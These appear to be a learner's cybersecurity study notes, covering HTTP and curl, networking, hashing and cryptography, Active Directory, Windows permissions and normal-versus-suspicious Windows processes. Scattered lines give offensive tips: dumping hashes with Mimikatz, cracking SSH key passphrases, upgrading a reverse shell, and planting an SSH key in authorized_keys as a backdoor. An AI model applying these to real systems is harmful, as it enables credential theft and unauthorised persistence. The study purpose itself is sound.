Web Fundamentals

* 9 different HTTP verbs
  + GET – retrieve content
  + POST – send data to web server
* HTTP request has several parts
  + First line is a verb and a path for the server
    - GET /index.html
  + Next section is headers – give web server additional info about request
    - Contain cookies
  + Request Body
    - POST – content sent to server
    - GET – typically ignored by server
    - Useful for forensics and analyzing packet captures
* Responses
  + First line is status rather than a verb (like 404)
  + Response headers are important
    - Tell something about the server sending them or provide cookies
  + Also have body
    - GET – web content, JSON info
    - POST – status messages
* Cookies
  + Specific to browsers, not shared
  + Session management, advertising
  + Typically sent with every HTTP request
    - Keep track of other stateless HTTP
  + Have several parts
    - Name, value, expiry date, path
    - Normally set by server
      * Server response headers (“Set-Cookie”)
    - Or by JS in browser
  + Session tokens
  + View and modify with dev tools, storage, create cookies
  + Alternative
    - LocalStorage and SessionStorage
    - HTML5 features not sent by HTTP by default
  + To make GET when provided with IP and port #
    - Curl http://<ip>:<port>/path/get
  + POST request – make POST request with body “flag\_please” to /ctf/post
    - Curl http://<ip>:<port>/path/post -X POST -d “flag\_please”
    - -d = HTTP POST data
    - -X = request
  + GET cookie
    - Curl -v http://<ip>:<port>/<path><getcookie>
    - -v is important to list cookie
  + SET cookie
    - Curl http://<ip>:<port>/path/sendcookie --cookie flagpls=flagpls
    - - - cookie argument
    - Named variable flagpls

Intro to Networking – CISCO Self Study Guide by Steve McQuerry

* OSI Model – Open Systems Interconnection
  + Layer 7 – Application – networking options to programs running on a computer. Exclusive to applications, interface to transmit data. Data given to application layer goes to presentation layer. Accepts communication requests from applications. – FTP protocol communicates with this layer.
  + Layer 6 – Presentation – receives data from the Application layer. Translates data into standardized format. Handles encryption, compression, or other transformations to data. Data then passed to session layer
  + Layer 5 – Session – looks to setup connection to other computer across the network, otherwise it sends back an error. Session layer must maintain connection and synch with session layer of other computer. Session created is unique to communication, allowing multiple requests to be made to multiple endpoints simultaneously without data mixup. Once session successfully logged, data is passed down to transport layer. Tracks communications between the host and receiving computers
  + Layer 4 – Transport – choose protocol over which the data is to be transmitted, commonly TCP or UDP. TCP connection-based, UDP connectionless. Accuracy versus speed, respectively. Once protocol is selected, data is divided into segments or datagrams (TCP vs UDP) for transmission
  + Layer 3 – Network – responsible for locating destination of request, best route to take. Use of logical addressing (IPv4, software based)
  + Layer 2 – Data – focuses on physical addressing of the transmission. Receives packet from network layer (including IP of receiving) and adds in MAC of receiver endpoint via NIC. Presents data in a format suitable for transmission. Checks received information to make sure it hasn’t been corrupted during transmission, which occurs over Layer 1.
  + Layer 1 – Physical – hardware of computer. Convert the binary data of the transmissions into signals and transmit them across the network, as well as receiving incoming signals and converting them back into binary data.
* Encapsulation
  + As data passes down each layer of the model, more information specific to each layer is added on to the start of the transmission.
    - Network layer header would include src and dst IP
    - Transport layer header would include protocol-specific info
    - Data link layer adds end piece to verify data has not been corrupted on transmission
      * Cannot be intercepted/tampered without breaking trailer
  + Encapsulation
    - Layers 7, 6, 5 – data is data
    - Layer 4 (TRANSPORT) – data is segment or datagram
    - Layer 3 (NETWORK) – data is a packet
    - Layer 2 (DATA) – data is a frame
    - Layer 1 (PHYSICAL) – data broken down into bits
    - Process is reversed at receiving endpoint
      * De-encapsulation
  + Gives standardized method of sending data and adds security layer
* The TCP/IP Model
  + - Serves as basis for real-world networking, (OSI theoretical framework)
  + Application = OSI (Application, Presentation, Session)
  + Transports = OSI (Transport)
  + Internet = OSI (Network)
  + Network = OSI (Data Link, Physical)
  + The Practical Side
    - TCP/IP is a suite of protocols (Two most important being TCP and IP)
    - TCP – connection-based protocol
      * Three-way handshake
      * SYN-SYN/ACK-ACK
    - Introduced by DoD in 1982 (TCP/IP)
      * OSI 🡪 International Organization for Standardization
* Wireshark
  + Analyze captured packets
  + Five core pieces
    - Frame 1 – showing details from physical layer of the OSI model (Network Interface of TCP/IP) – packet size in terms of bytes
    - Ethernet II – details from Data Link layer of the OSI model (Network Interface layer of TCP/IP model), transmission medium (ethernet), source and destination MAC addresses
    - Internet Protocol Version 4 – details of Network Layer of OSI (Internet Layer of TCP/IP), source and destination IP addresses
    - Transmission Control Protocol, User Datagram Protocol – details from Transport Layer of OSI and TCP/IP models. Which protocol (TCP or UDP)
    - Hypertext Transfer Protocol, Domain Name System – details from the Application Layer of OSI and TCP/IP models. GET/POST requests
* Ping
  + Test connection to a remote resource
  + Uses ICMP protocol
    - Works on network layer of OSI and internet layer of TCP/IP
  + Ping <target>
  + Determines IP if domain name is enter or URL
  + Switch -i changes interval timing between pings
  + Switch -4 sets to IPv4 only, -6 sets to IPv6 only
* Traceroute
  + Map path requests take as it heads to target machine
  + Runs on Internet Layer of TCP/IP
  + Traceroute <destination> - UDP
  + Windows tracert – ICMP
    - Can be altered via switch input
  + Switch -i – specify interface
  + Switch -T – TCP requests
* WHOIS
  + Domain names
  + Query who a domain name is registered to
  + “whois <domain>”
* Dig
  + When requesting a website
    - Computer checks local cache for preexisting IP stored for website
      * Sends request to recursive DNS server (known by router) – FIRST STOP outside of local cache

Contains cache of popular domains

* + - * + If not in recursive server cache, forwarded to Root Name Server (13 of them worldwide)

Track TLD (top-level domain) servers to forward request to

Split into extensions (.com, .org, etc)

TLDs keep track of Authoritative Name Servers (next level down)

ANS servers store DNS records for domains directly, with relevant ANS sending DNS info back to request source

* + All of this can be done manually with “dig”
    - Allows manual query of recursive DNS servers
    - Syntax: dig <domain> @<dns-server-ip>
    - Google public DNS server
      * 8.8.8.8
      * 8.8.4.4
  + Helpful for network troubleshooting
    - Gives TTL of queried DNS record (found in second column)
      * Measured in seconds
* IPv4 Addresses
  + IP Address Classes
    - Class A – 1-127
    - Class B – 128-191
    - Class C – 192-223
    - Class D – 224-239
    - Class E – 240-255
      * used for research
  + Private Address Space
    - Class A – 10.0.0.0
      * used by businesses
    - Class B – 172.16.0.0 to 172.31.255.255
    - Class C 0 192.168.0.0 to 192.168.255.255
      * 192.168.0.0
      * 192.168.1.0
      * 256 addresses
        + first address is network addr
        + last address is broadcast addr
        + gateway address is also usually reserved
      * 0.0.0.0 – reserved for unroutable packets
* Binary to Decimal
  + IPv4 – 32 bits split up into four sections of eight bits
* Decimal to Binary
  + maintain octet structures with prepended 0’s

Cryptography

* Terms
  + Plaintext
  + Encoding – not encryption, form of data representation
  + Hash – output of hash function
  + Brute force – form of attack
  + Cryptanalysis – form of attack by targeting the underlying math
* Hash Function
  + No key and meant to be impossible to reverse output
  + Input data of any size and creates a digest of that data, a summary of fixed size
    - Hard to predict output and visa versa
    - Small changes can lead to huge differences in output
    - Commonly encoded afterward
  + Importance
    - Common in CyberSec
  + Hash Collision
    - Two different inputs give same output
    - Unavoidable but can be minimized
    - MD5 and SHA1 have had engineered collisions separately
      * But not together
* Uses for Hashing
  + Verifying data integrity
  + Verifying passwords
    - Plaintext storage or storage via weak encryption
    - Hashes provides an answer, as no key is required
      * Rainbow tables, hash-to-plaintext lookups, exist.
      * Weak passwords will lead to weak hashes
        + Crackstation
    - Protecting against rainbow tables
      * Add Salt to passwords
        + Randomly generated and stored in a DB, unique to each users hash

Added either at start or end to hash

* + - * + Bcrypt and sha512crypt
* Recognizing Password Hashes
  + Automated tools such as hashID (python)
    - Reliable with hashes that have a prefix
  + Hashcat
  + hashid
  + Unix format $format$rounds$salt$hash
    - $1$ - md5crypt, Cisco, older Linux/Unix
    - $2; 2a; 2b; 2x; 2y$ - Bcrypt – web applications – 3200 in hashcat
    - $6$ - sha512crypt – default for Unix/Linux – 1800 in hashcat, include ending periods
    - Salted hashes must use <salt>:<password> or <password>:<salt> format
  + Windows uses NTLM, variant of md4
    - 32 characters
    - Identical to Md5 so need context
    - Stored in /config/SAM
      * NT hashes and LM hashes
    - Mimikatz can help dump them
  + Linux – stored in /etc/shadow
    - Root readable
* Password Cracking
  + Cant decrypt hashes
    - Have to crack them via hashing a large number of inputs
  + Hashcat John the Ripper
  + GPUs are effective in hashing
  + VM Cracking
    - Hashcat is best run on host, as VM does not have direct access to GPU
      * Can run on CPU as of Kali 2020.2 but not as fast as host GPU
      * Never use - -force for hashcat
    - JohntheRipper uses CPU by default
* Integrity Checking
  + HMACS
    - Using cryptographic hashing function to verify the authenticity and integrity of data
    - HMAC can be used to ensure that the person who created the HMAC is who they say they are without modification
      * Use secret key and hashing algorithm to produce a hash
* ENCRYPTION
  + Critical for CIA
  + Essential for data at rest and in transit
    - PCI-DSS, GDPR
  + Modulo Operator
    - Remainder % of X/Y
    - Not reversible
  + Two Types of Encryption
    - Symmetric
      * DES (Broken) and AES
        + Smaller keys (128/256 for AES, 56 for DES)
    - Asymmetric
      * RSA
      * Elliptic Curve Cryptography
        + Larger keys (2048-4096 for RSA)
  + RSA
    - Based on large number factoring
      * Comes up often in CTFs
      * Rely on the Wiki page for help
      * RsaCtfTool – Github
      * “rsatool” – github
    - Essential variables
      * “p, q, m, n, e, d, c”
      * Primes – p and q
      * Public key – n and d
      * Private key is n and e
      * Plaintext – m
      * Ciphertext – c
    - RSA CTFs are often sets of values and breaking the encryption to decrypt and retrieve a flag
  + Establishing Keys Using Asymmetric Cryptography
    - Exchanging keys
    - Use asymmetry to transport symmetry
    - PK crypto
  + Digital Signatures and Certificates
    - DS proves authenticity
      * Produced via asymmetry with private key
        + Verified with public key
    - Certificates
      * Also use public key, linked to digital signatures
      * HTTPS
      * Chain of trust starting with a Root Certificate Authority
        + Automatically trusted by OS/browser
  + SSH Authentication
    - Encryption and SSH authentication
      * Usernames and passwords
        + RSA by default
        + “ssh-keygen”
    - SSH Private Keys
      * Decrypts the SSH key, does not ID user
      * Passphrase is never transmitted
      * Can use JohntheRipper to attack encrypted SSH key to find passphrase
    - Using Keys
      * ~/.ssh folder – default storage
        + “authorized\_keys” – public keys allowed on server
      * To use a private SSH key, permissions must be set up correctly
        + 600 or stricter
        + “ssh -I keyNameGoesHere user@host”
    - Using SSH Keys to get a better shell
      * Ssh keys are a good way to upgrade a reverse shell
        + Assuming user has login enabled (www-data normally does not)

Leaving an SSH key in authorized\_keys can be a useful backdoor

* + Explaining Diffie Hellman Key Exchange
    - * Allows two parties to establish a set of common cryptographic keys without an observer being able to get said keys
    - How Does DH work
      * Secrets (A and B respectively) combined with common material (C) to create AC and BC
        + These are traded and combined to form ABC, which both have
    - Used in combination with RSA to prove identity and prevent MiTM attacks
  + PGP, GPG, AES
    - Pretty Good Privacy
      * Software that implements encryption for files, digital signing, etc
    - GnuPG
      * Open source implementation of PGP from GNU project
        + Need to use GPG to decrypt files in CTFs
        + PGP/GPG can protect private keys with passphrases

Can attempt crack via John the Ripper and gpg2john

* + - Advanced Encryption Standard
      * Replaced DES
      * Data block operation
  + The Future – Quantum Computers and Encryption
    - Asymmetric and Quantum
      * Wont exist in the coming years but will likely be able to break RSA and Elliptical Curve
    - AES/DES and Quantum
      * 128 bit will be broke
      * 256 bit will be more resistant
      * Triple DES will be vulnerable
    - Current Recommendations
      * RSA-3072 or better for asymmetric
      * AES-256 or better for symmetric
      * Cryptography Apocalypse by Roger A Grimes

Active Directory Basics

* Directory service for Windows Domain Networks
  + Collection of machines and servers connected inside of domains that are a collective part of a bigger forest of domains that make up the Active Directory network
    - Various pieces such as
      * Domain Controllers
      * Forests, Trees, Domains
      * Users + Groups
      * Trusts
      * Policies
      * Domain Services
  + Allows for control and monitoring of user’s computers through a single domain controller
    - Allows a single user to sign in to any computer on the active directory network and have access to stored files and folders, as well as local machine storage
* Physical Active Directory
  + - Servers and machines on-premises
  + Domain Controllers
    - Windows server that has Active Directory Domain Services (AD DS) and has been promoted to domain controller in the forest
    - Center of Active Directory – control rest of domain
      * Holds AD DS data store
      * Handles authentication/authorization services
      * Replicate updates from other domain controllers in the forest
      * Allows admin access to manage domain resources
  + AD DS Data Store
    - Holds the databases and processes needed to store and manage directory information such as users, groups, and services
      * Contains NDS.dit – database that contains all of the information of an Active Directory domain controller as well as password hashes for domain users
      * Stored by default in %SystemRoot%\NTDS
      * Accessible only by the domain controller
* The Forest
  + - Defines all other things – container that holds all other pieces of network together
  + Overview
    - Collection of one or more domain trees inside of an Active Directory network
    - Categorizes the parts of the network as a whole
      * Trees – hierarchy of domains in AD DS
      * Domains – used to group and manage objects
      * Organizational Units – Container for groups, computers, users, printers and other OUs
      * Trusts – Allows users to access resources in other domains
      * Objects – users, groups, printers, computers, shares
      * Domain Services – DNS Server, LLMNR, IPv6
      * Domain Schema – Rules for object creation
* Users and Groups
  + Overview
    - Users are core to Active Directory
    - Four Main Types
      * Domain Admins – control domains and are the only ones with access to the domain controller
      * Service Accounts (Can be Domain Admins) – rarely used except for service maintenance
        + Required by Windows for services such as SQL to pair a service with a service account
      * Local Administrators
        + Make changes to local machines as an admin, but cannot access the domain controller
      * Domain Users – everyday users
  + Groups Overview
    - Groups divided into specified permissions
    - Two Types
      * Security Groups – used to specify permissions for a large number of users
      * Distribution Groups – used to specify email distribution lists. Less beneficial to attackers but assist in enumeration
  + Default Security Groups
    - Domain Controllers – all domain controllers in the domain
    - Domain Guests – all domain guests
    - Domain Users – all domain users
    - Domain Computers – all workstations and servers joined to the domain
    - Domain Admins – designated admins of the domain
    - Enterprise Admins – designated admins of the enterprise
    - Schema Admin – designated admins of the schema
    - DNS Admins – DNS admins group
    - DNS Update Proxy – DNS clients who are permitted to perform dynamic updates on behalf of some other clients
    - Allowed RODC Password Replication Group – passwords can be replicated to all read-only domain controllers in the domain
    - Protected Users – afforded additional protections against authentication security threats
    - Cert Publishers – permitted to publish certificates to directory
    - Read-Only Domain Controllers
    - Enterprise Read-Only Domain Controllers
    - Key Admins – perform admin actions on key objects within domain
    - Enterprise Key Admins – admin actions on key objects within forest
    - Cloneable Domain Controllers
    - RAS and IAS Servers – can access remote access properties of users
* Trusts and Policies
  + - Help domain and trees communicate with each other and maintain security inside of the network
      * Put rules in place of how the domains inside of a forest can interact with each other, how an external forest can interact with the forest, and the overall domain rules or policies that a domain must follow
    - Domain Trusts Overview
      * Mechanism in place for users in the network to gain access to other resources in domain
      * Outline way domains inside forest communicate to each other
      * Two Types
        + Directional – direction of the trust flows from a trusting domain to a trusted domain
        + Transitive – the trust relationship expands beyond just two domains to include other trusted domains
      * Type of trust in place determines how the domains and trees in a forest are able to communicate and send data to and from each other
      * When attacking an AD environment can abuse trusts to move laterally throughout network
    - Domain Policies Overview
      * Dictate how server operates and what rules it will and will not follow
      * Similar to groups except they contain rules instead of permissions and apply to whole domain versus specific group
      * Rule Book for AD
        + Modifiable by domain admins
        + Options for domain policies are almost endless and are a big factor for attackers when enumerating an AD network
* Active Directory Domain Services and Authentication
  + - Core functions of AD network, allow for domain management, security certificates, LDAPs, etc.
      * Domain controller decides what it wants to do and what services it wants to provide for the domain
  + Domain Services Overview
    - Services provided to rest of domain or tree
    - Default domain services
      * LDAP – Lightweight Directory Access Protocol – provides communication between applications and directory services
      * Certificate Services – allows the domain controller to create, validate, and revoke public key certificates
      * DNS,LLMNR, NBT-NS – Domain Name Services for ID-ing IP hostnames
  + Domain Authentication Overview
    - Critical and vulnerable
    - Two Types
      * NTLM
        + Default Windows authentication protocol using an encrypted challenge/response protocol
      * Kerberos
        + Default authentication service for AD using ticket-granting tickets and service tickets to authenticate users and give users access to other resources across domain
    - Main access point for attackers and contain some of the must vulnerable protocols for AD
* Active Directory in the Cloud
  + Azure AD – default settings are more secure than an on-premise physical AD
    - Still has some vulns
  + Azure AD Overview
    - Middleman between AD and users
    - Secure transaction between domains
      * Renders many attacks ineffective
  + Cloud Security Overview
    - Rest APIs
    - OAuth/SAML
    - OpenID
    - Flat Structure
    - Tenants
    - Guests
* Lab Practical

Windows File System and Permissions Explained

* Windows File System Structure
  + Logical Drives (C:)
    - * PerfLogs – stores the system issues and other reports regarding performance
      * Program Files
      * Program Files (x86)
      * Users – stores user generated data
      * Windows – contains OS code to run system and utility tools
    - Folders
      * Files
* File Permissions
  + - Users
    - Groups
  + Permissions
    - Full Control – set ownership of the folder, permissions for others, modify, read, write, execute
    - Modify – modify, read, write, execute
    - Read and Execute – read and execute
    - List Folders Content – list the contents of a folder
    - Read – only read
    - Write – write data to specified folder
    - Special Permissions
  + To set permissions, select properties and go to security tab and edit, apply
    - Avoid full control permissions on folder to prevent users from setting their own permissions and taking ownership of the folder without proper authorization or privilege
    - In Powershell
      * Use “icacls” – check files or folders permissions
        + I – permission inherited from parent container
        + F – full access
        + M – modify rights and access
        + OI – object inherit
        + IO – inherit only
        + CI – container inherit
        + RX – read and execute
        + AD – append data (add subdirectories)
        + WD – write data and add files
      * Can also be used to set ownership, set, remove, or deny permissions
* Understanding the Authentication Process
  + Local Authentication is done using the Local Security Authority (LSA)
    - Protected subsystem that keeps track of the security policies and the accounts that are on a computer system
      * Maintains all information about all aspects of local computer security
  + Types of Active Directory
    - On-Premises AD
    - Azure AD
  + Authentication for On-Premises AD
    - On-Premises has record of all users, PCs, servers and authenticates with network login
      * NTLM
        + Challenge-response
        + No data integrity or confidentiality
      * LDAP/LDAPS
        + User workstation sends credentials via API to DC to validate them
      * KERBEROS
        + Symmetric key cryptography and third party authorization
  + Authentication on ADD
    - Username and password
    - SAML (Security Assertion Markup Language)
      * Single sign on – defines rules/protocols via trust
        + Service providers
        + Identity providers – performs auth
    - OAUTH 2.0
      * Standard that apps se to provide client applications with access
      * Four important roles
        + Authorization server – issues access token
        + Resource owner – end-user, grants permission to access resource server with access token
        + Client – application that requests access token, passed to resource server
        + Resource server – accepts access token and verify validity
    - OpenID Connect
      * Built on top of OAuth 2.0
        + Additional ID token

Using JSON Web Tokens

OIDC is all about user authentication

* Utility Tools
  + - Computer Management
    - Local Security Policy
    - Disk Cleanup
    - Registry Editor
    - Command-line
    - Registry Editor (regedit)
  + Computer Management
    - Task schedule – allows predefined actions to be automatically executed under preset conditions
    - Event viewer – logs events that happen across the device – can be used to forward events to SIEM
    - Shared folders – shared across network
    - Local users and computers – create users, add to built-in groups, given different access levels
    - Performance monitor – monitor different activities across device such as CPU usage, memory usage, etc.
    - Disk management – shrink, expand, create new partitions, format partitions
    - Services and applications – check running services on system and ability to start, stop, restart
  + Local Security Policy
    - Configure to strengthen computer security
    - Minimum password length and complexity
    - Disable guest and local admin accounts
      * Do not disable if AD is not integrated
  + Disk Cleanup
    - Delete useless files, clean system files under admin
  + Registry Editor
    - Stores important OS settings
  + Command-line Tools
    - CMD – command-line interpreter, use to automate various system-related tasks using scripts and batch files – interact with OS directly – limited admin abilities compared to powershell
    - Powershell – used by sysadmins to manage the network and domain they handle – scripting langiage – can interpret batch commands and powershell commands
    - Windows Terminal – can be used instead of powershell and command line
  + Registry Editor
    - Contains low level settings for Microsoft Windows settings and applications
      * HKEY CLASSES ROOT
      * HKEY CURRENT USER
      * HKEY LOCAL MACHINE
      * HKEY USERS
      * HKEY CURRENT CONFIG
    - Can be browsed via powershell
      * Syntax – cd <REG DB>
    - Windows also has builtin tool named “reg” that can be used from command line to add, remove, query, import, export, etc registry keys
    - Regedit for GUI
* Types of Servers
  + Domain Controller – important for AD and AAD infrastructure – control users, groups, restrict actions, improve security, etc
  + File Server – great for file sharing over network
  + Web Server – serves static or dynamic content to a web browser by loading file from a disk and serving it across the network
  + FTP Server – move files securely between computers while providing file security and organization as well as transfer control
  + Mail Server – move and store mail over corporate networks (LANs and WANs) and across internet
  + Database Server – provides other computers with services related to accessing and retrieving data from one or multiple databases
  + Proxy Server – sits between client program and external server to filter requests, improve performance, and share connections
  + Application Server – connected between database servers and users
* Users and Group Management
  + Active Directory user management
    - Tools > Active Directory Users and Computers
      * View > Advanced Features
  + Create an OU to store users
    - Right click domain name
      * New > Organizational Unit
        + Name and OK
  + Create two additional OUs inside newly created OU (nesting)
    - Right click on new OU
      * New > Organizational Unit
        + Name and ok
        + Repeat
  + Create users and groups
    - Right click Users OU
      * New > User
      * Fill in information
        + Login name is User Logon Name
      * Next
      * Create password
        + Select appropriate password options
      * Account disabling is also an option
      * Next
      * Finish
    - Right Click OU > New > Group
      * Name > OK
    - To assign user to a group
      * Right-click user > add to a group

Prompt to search for object in AD

Enter object name to select

Check names

ok

* + - * + Or
      * Double-click group > Members > Add
    - To add group to another group
      * Right click group > add to a group and search > OK
* Creating First GPO
  + - Adds additional controls to user accounts and computers
    - Local settings, site-wide settings, domain-level settings, and setting applied to OUs
  + Creating GPO
    - Tools > Group Policy Management inside Server Manager
      * Right click on Group Policy Object > create new object
        + To edit – right click > Edit
    - Policies > Windows Settings > Security Settings > Local Policies > Users Right Assignment
      * Double click on “Allow log on through Remote Desktop Services”
    - Select Define these policy settings > add user or group > browse
      * Search > OK > OK
    - To block a user or group from using RDP
      * Double click Deny Log on through Remote Desktop Services
        + Add group
  + To make policies apply, must link GPO to root of the domain
    - Right click on Domain Controllers OU > Link an Existing GPO > select GPO > OK
  + To apply the GPO,
    - Open CMD as Admin
      * Type: gpupdate /force
  + Testing the GPO
    - Test using logins and methods that have been OK’d or blocked

Core Windows Processes – For Threat Detection

* Determining what is and is not normal behavior.
* Task Manager
  + - provides information on resource usage, CPU, memory, process killing
  + Information Tabs
    - Type – App, Background process, windows process
    - Publisher – author of program or file
    - PID – process identifier
    - Process Name – file name of the process
    - Command Line – full command used to launch a process
    - CPU – CPU power used
    - Memory – physical working memory used
  + Processes
    - Apps
    - Background Processes
    - Windows Processes
  + Details
    - view core processes
    - sort PIDs in ascending order
    - Add
      * Image path name
      * Command Line
    - Both alert to process outliers
      * if image path name or command line is not what is expected
        + perform deeper analysis
  + Task manager lacks certain important information, such as
    - parent process information
      * essential to identifying outliers
    - use Process Hacker and Process Explorer
  + Process Hacker
  + Process Explorer
  + Command line options such as
    - tasklist
    - Get-Process
    - ps
    - wmic
* System
  + PID for System process is always 4
  + home to special thread that runs only in kernel mode a kernel-mode system thread
    - executing code in system space
    - allocated dynamic storage from OS memory heaps
  + Normal Behavior
    - * Image Path: N/A
      * Parent Process: None
      * Number of Instances: One
      * User Account: Local System
      * Start Time: At boot time
    - Process Hacker will show different
      * Image Path: C:\Windows\system32\ntoskrnl.exe (NT OS Kernel)
      * Parent Process: System Idle Process (0)
  + Unusual Behavior
    - parent process (aside from System Idle Process(0)
    - Multiple instances
    - Different PID
    - Not running in Session 0
* System > smss.exe
  + Session Manager Subsystem
    - Windows Session Manager
      * creates new sessions
      * first user-mode process started by kernel
    - starts kernel mode and user mode of the Windows subsystem
      * win32k.sys, winsrv.dll, csrss.exe
    - csrss.exe and wininit.exe started in Session 0 – isolated Windows session for OS
      * csrss.exe and winlogon.exe for Session 1 – user session
    - Any other subsystem in Required value of HKLM\System\CurrentControlSet\Control\Session Manager\Subsystems is launched
    - SMSS also creates environment variables, virtual memory paging files and starts winlogon.exe
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\smss.exe
    - Parent Process: System
    - Number of Instances: One master and child instance per session
    - User Account: Local System
    - Start Time: Within seconds of master instance boot time
  + Unusual Behavior
    - Different parent process other than System(4)
    - Image path is different than C:\Windows\System32
    - More than one running process
    - User is not SYSTEM
    - Unexpected registry entries for Subsystem
* CSRSS.EXE
  + Client Server Runtime Process
    - user-mode side of Windows subsystem
    - always running and critical to system operation
    - responsible for Win32 console window and process thread creation/deletion
      * csrsrv.dll, basesrv.dll, winsrv.dll
    - Makes Windows API available to other processes
      * maps drive letters
      * handles Windows shutdown process
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\csrss.exe
    - Parent Process: Created by an instance of smss.exe (non-existent process)
    - Number of Instances: two+
    - User Account: Local System
    - Start Time: seconds after boot time for Session 0 and 1
  + Unusual Behavior
    - An actual parent process (as smss.exe calls process then self-terminates)
    - Image File path other than C:\Windows\System32
    - Subtle misspellings to hide rogue processes masquerading as csrss.exe
    - User is not SYSTEM
* WININIT.EXE
  + Windows Initialization Process
    - launches services.exe (Service Control Manager)
    - lsass.exe (Local Security Authority)
    - lsaiso.exe within Session 0
      * associated with Credential Guard and Key Guard
      * will only be seen if Credential Guard is enabled
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\wininit.exe
    - Parent Process: Created by smss.exe
    - Number of Instances: 1
    - User Account: Local System
    - Start Time: Within seconds of boot
  + Unusual Behavior
    - Actual parent process
    - image file path other than C:\Windows\System32
    - subtle misspellings to hide rogue processes
    - multiple running instances
    - not running as SYSTEM
* WININIT.EXE > SERVICES.EXE
  + Service Control Manager
    - handle system services
      * loading services
      * interacting with services
      * starting/ending services
    - maintains database that can be queried using sc.exe
    - storied in registry HKLM\System\CurrentControlSet\Services
    - loads device drivers marked as auto-start into memory
    - sets value of Last Known Good control set to CurrentControlSet
      * HKLM\System\Select\LastKnownGood
    - also starts other key processes
      * svchost.exe, spoolsv.exe, msmpeng.exe, dllhost.exe, etc
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\services.exe
    - Parent Process: wininit.exe
    - Number of Instances: 1
    - User Account: Local System
    - Start Time: within seconds of boot
  + Unusual Behavior
    - Parent process other than wininit.exe
    - Image file path other than C:\Windows\System32
    - Subtle misspellings hiding rogue processes
    - Multiple running instances
    - Not running as SYSTEM
* WININIT.EXE > SERVICES.EXE > SVCHOST.EXE
  + Service Host
    - Host Process for Windows Services
      * hosts and manages Windows Services
    - Services running in this process are implemented as DLLs
      * stored in registry for service under Parameters subkey in ServiceDLL
        + HKLM\SYSTEM\CurrentControlSet\Services\SERVICE NAME\Parameters
    - To view within Process Hacker
      * right click svchost.exe process
        + Select Properties

Look at Service DLL

* + - Key identifier in binary path “-k” – legitimate svchost.exe process calling
      * groups similar services to share similar process
      * Machines with 3.5 GB of memory, Windows 10 Version 1703 allows individual services to run own processes
    - As svchost.exe has multiple running processes, it is a target for malicious attacks
      * hide malware amongst legit processes
      * install malicious DLLs
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\svchost.exe
    - Parent Process: services.exe
    - Number of Instances: Many
    - User Account: Varies depending on svchost.exe
    - Start Time: Within seconds of boot or later
  + Unusual Behavior
    - Parent Process other than services.exe
    - Image file path other than C:\Windows\System32
    - Subtle misspellings to hide rogue processes
    - Absence of -k parameter
* LSASS.EXE
  + Local Security Authority Subsystem Service
    - responsible for enforcing security policy on system
    - verifies users
    - handles password changes
    - creates access tokens
    - writes to Windows Security Log
    - Creates security tokens for SAM, AD, and NETLOGON
      * HKLM\System\CurrentControlSet\Control\Lsa
    - Also targeted by adversaries
      * mimikatz used to dump credentials or mimic process to hide
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\lsass.exe
    - Parent Process: wininit.exe
    - Number of Instances: 1
    - User Account: Local System
    - Start Time: within seconds of boot time
  + Unusual Behavior
    - Parent process other than wininit.exe
    - Image file path other than C:\Windows\System32
    - Subtle misspellings to hide rogue processes
    - multiple running instances
    - Not running as SYSTEM
* WINLOGON.EXE
  + responsible for handling Secure Attention Sequence (SAS)
    - ATL+CTRL+DELETE key combo users press to enter username and password
    - responsible for loading user profile
      * loads user’s NTUSER.DAT into HKCU and loads user shell via userinit.exe
    - also locks screen, runs screensaver, etc
  + Normal Behavior
    - Image Path: %SystemRoot%\System32\winlogon.exe
    - Parent Process: Created by smss.exe
    - Number of Instances: 1+
    - User Account: Local System
    - Start Time: within seconds of boot for Session 1
  + Unusual Behavior
    - An actual parent process
    - Image file path other than C:\Windows\System32
    - Subtle misspellings to hide rogue processes
    - Not running as SYSTEM
    - Shell value in the registry other than explorer.exe
* EXPLORER.EXE
  + gives user access to folders and files
  + functionality to Start Menu, Taskbar, etc.
  + Winlogon process runs userinit.exe
    - launches value in HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
  + Normal Behavior
    - Image Path: %SystemRoot%\explorer.exe
    - Parent Process: non-existent (userinit.exe self terms)
    - Number of Instances: 1+ per user
    - User Account: Logged-in User(s)
    - Start Time: When first interactive user logon session begins
  + Unusual Behavior
    - Actual parent process
    - image file path other than C:\Windows
    - Running as an unknown user
    - subtle misspellings to hide rogue processes
    - Outbound TCP/IP connections
* Conclusion
  + Also be aware of
    - RuntimeBroker.exe
    - taskhostw.exe
  + <https://www.threathunting.se/tag/windows-process/>
  + <https://www.sans.org/security-resources/posters/hunt-evil/165/download>
  + <https://docs.microsoft.com/en-us/sysinternals/resources/windows-internals>

Windows Event Logs - Incomplete

* Essential to understanding activities of complex systems
  + particularly systems with minimal user interactions
    - useful for SysAdmins, IT techs, Desktop Engineers
  + combining log file entries from multiple sources, combined with statistical analysis, may yield correlations between seemingly unrelated events on different servers
    - SIEMs
      * Splunk
      * Elastic
    - allow query of logs from multiple devices instead of manually connecting to each singular device
* Event Viewer
  + - raw event log data can be converted into XML using Windows API
      * proprietary binary format with either .evt or .evtx
    - C:\Windows\System32\winevt\Logs
  + Can be launched by right clicking Windows icon in taskbar and selecting Event Viewer
    - CLI – eventvwr.msc
  + Event Viewer has three panes
    - Left – Hierarchical tree listing event log providers
    - Middle – general overview/summary or events specific to a selected provider
    - Right – actions pane
  + Five Type of Events that are logged
    - Error – significant problem such as data loss or loss of functionality
    - Warning – indicate possible future problems. If applications recover from an event without loss of functionality or data, event is logged as a Warning
    - Information – describes successful operation of an application, driver, service
    - Success Audit – event that records an audited security access attempt that is successful
    - Failure Audit – records an audited security access attempt that failed
  + Left Pane – standard logs are visible under Windows Logs
    - Application – contains events logged by applications – developer decides what events are recorded
    - Security – events such as valid and invalid login attempts, events related to resource use
    - System – events logged by system components
    - CustomLog – events logged by applications that create a custom log.
      * enables control of the size of the log or attach ACLs for security purposes without affecting other applications
  + Applications and Services Logs
    - Expand
      * Microsoft > Windows > Powershell > Operational
        + Powershell Logging

Operational > right-click > Properties

* + - Within Properties
      * see log location, log size, creation date, modifications, last access
      * maximum set log size and what actions to take once criteria is met
        + log rotation
      * clear log button
        + sometimes legitimate reasons to use, sometimes used by adversaries
    - Operational
      * + Level – event type
        + Date and Time – when event was logged
        + Source – name of software that logs event
        + Event ID – not unique
